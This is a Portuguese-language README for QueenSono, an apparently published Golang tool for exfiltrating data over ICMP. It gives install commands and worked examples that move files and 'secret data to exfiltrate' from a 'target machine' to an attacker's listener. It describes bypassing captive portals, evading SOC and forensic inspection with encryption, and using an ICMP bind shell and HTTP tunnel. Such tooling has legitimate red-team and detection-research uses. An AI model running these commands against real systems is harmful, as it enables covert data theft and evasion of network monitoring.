QueenSono Exfiltração de Dados ICMP

Um pacote Golang para Exfiltração de Dados com protocolo ICMP (IPv4 & IPv6).

A ferramenta QueenSono baseia-se apenas no fato de que o protocolo ICMP não é monitorado. É bastante comum. Também poderia ser usado em um sistema com inspeção básica de ICMP (isto é, monitor de frequência e comprimento de conteúdo) ou para contornar a etapa de autenticação com captive portal (usado por muitos Wi‑Fis públicos para autenticar usuários após conectar ao Wi‑Fi, por exemplo, Wi‑Fi de aeroportos). Tenta imitar PyExfil (e outros) com a ideia de que a máquina alvo não necessariamente tenha Python instalado (portanto, fornecer um binário pode ser útil).

Instale-o · Use-o · Notas · Solicitar Funcionalidade · 🎁

Instalar

Com curl

> A partir do release

curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Com go

> Via go install

Certifique-se de que $GOPATH está no seu $PATH antes

Instalar qssender

go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

Instalar qsreceiver

go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> Instalar o binário a partir do código fonte

Clone o repositório e baixe as dependências localmente:

git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Para construir o emissor de pacotes ICMP qssender :

 build.queensono-sender

Para construir o receptor de pacotes ICMP qsreceiver :

 build.queensono-receiver

Uso

qssender é o binário que enviará pacotes ICMP para o ouvinte, portanto é o binário que você precisa transferir para a máquina alvo.

qsreceiver é o ouvinte na sua máquina local (ou onde quer que você possa receber pacotes ICMP)

Todos os comandos e flags dos binários podem ser encontrados usando --help

Exemplo 1: Enviar com "ACK" 🔙

> Neste exemplo, queremos enviar um arquivo grande e aguardar o echo reply para confirmar o recebimento dos pacotes (ACK).

Na máquina local:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt

Na máquina alvo:

$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #baixar um arquivo grande (para o exemplo)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt

Exemplo 2: Enviar sem "ACK" 🙈

> Neste exemplo, queremos enviar uma mensagem sem aguardar o echo reply (pode ser útil caso o firewall alvo filtre pacotes ICMP de entrada)

Na máquina local:

$ qsreceiver receive truncated 1 -l 0.0.0.0

echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

Na máquina alvo:

$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N

Exemplo 3: Enviar dados criptografados 🔒

> Neste exemplo, queremos enviar uma mensagem criptografada. Como a linha de comando pode ser espionada, usamos criptografia assimétrica (se a chave vazar, não é um problema)

Na máquina local:

$ qsreceiver receive -l 0.0.0.0 --encrypt 
<OUTPUT PUBLIC KEY>

Na máquina alvo:

$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY

Sobre criptografia

A criptografia RSA é usada para manter a confidencialidade dos dados trocados. Pode ser útil, por exemplo, para evitar que um SoC veja quais dados estão sendo trocados (ou forense) com análise básica ou simplesmente por privacidade.

Mas isso tem um custo. A escolha da criptografia assimétrica é motivada pelo fato de que a chave de criptografia é inserida na linha de comando (portanto, pode ser recuperada facilmente). Portanto, criptografamos dados com a chave pública. Dessa forma, se alguém recuperar a chave de criptografia, não será possível descriptografar a mensagem. Mas a chave pública é menor que a privada, então ela criptografa mensagens menores. Além disso, é computacionalmente cara.

Outro ponto, como queremos limitar o tamanho dos dados/solicitações de ping (para evitar detecção, bugs, etc), use criptografia apenas se necessário, pois o tamanho da saída da mensagem sempre será (deverá) igual ao tamanho do Módulo (parte da chave), que é grande.

Melhoria

Atualmente, toda a mensagem é criptografada e depois dividida em partes para ser enviada. Do outro lado, aguardamos todos os pacotes (partes), reconstruímos nossa mensagem e a descriptografamos. Mas funciona ⇔ recebemos TODAS as partes, caso contrário a descriptografia falhará.

=> Poderíamos criptografar cada parte de acordo com o parâmetro -s, assim poderíamos descriptografá-las separadamente.

Exemplo 4: Receber dados via echo reply ↩️

> Neste exemplo, a máquina local envia dados de volta para o alvo através de respostas de echo ICMP. Útil quando o ICMP de saída do alvo é filtrado, mas o alvo pode receber respostas de echo.

Na máquina local:

$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1

Na máquina alvo:

$ qssender receive -l 0.0.0.0 -r 10.0.0.92

Suporte IPv6

QueenSono suporta ICMPv6 de forma transparente. Passe um endereço IPv6 e o protocolo é detectado automaticamente — não são necessárias flags extras.

Na máquina local:

$ qsreceiver receive -l ::

Na máquina alvo:

$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000

Todos os modos (enviar com ACK, enviar sem ACK, criptografado, resposta de echo) funcionam da mesma forma sobre IPv6.

Bônus

Veja a seção hack para coisas divertidas com QueenSono:

• Bind shell usando ICMP
• Tunelamento HTTP sobre ICMP

Notas

• funciona apenas no Linux (devido ao uso do pacote golang net icmp)
• necessita de capacidades cap_net_raw
• suporta tanto IPv4 (ICMP) quanto IPv6 (ICMPv6) — detectado automaticamente a partir do endereço
• se você realmente enviar pacotes ICMP em 2 máquinas diferentes e aguardar o echo reply, certifique-se de usar um IP acessível pela máquina remota como endereço de escuta (não use localhost ou equivalente)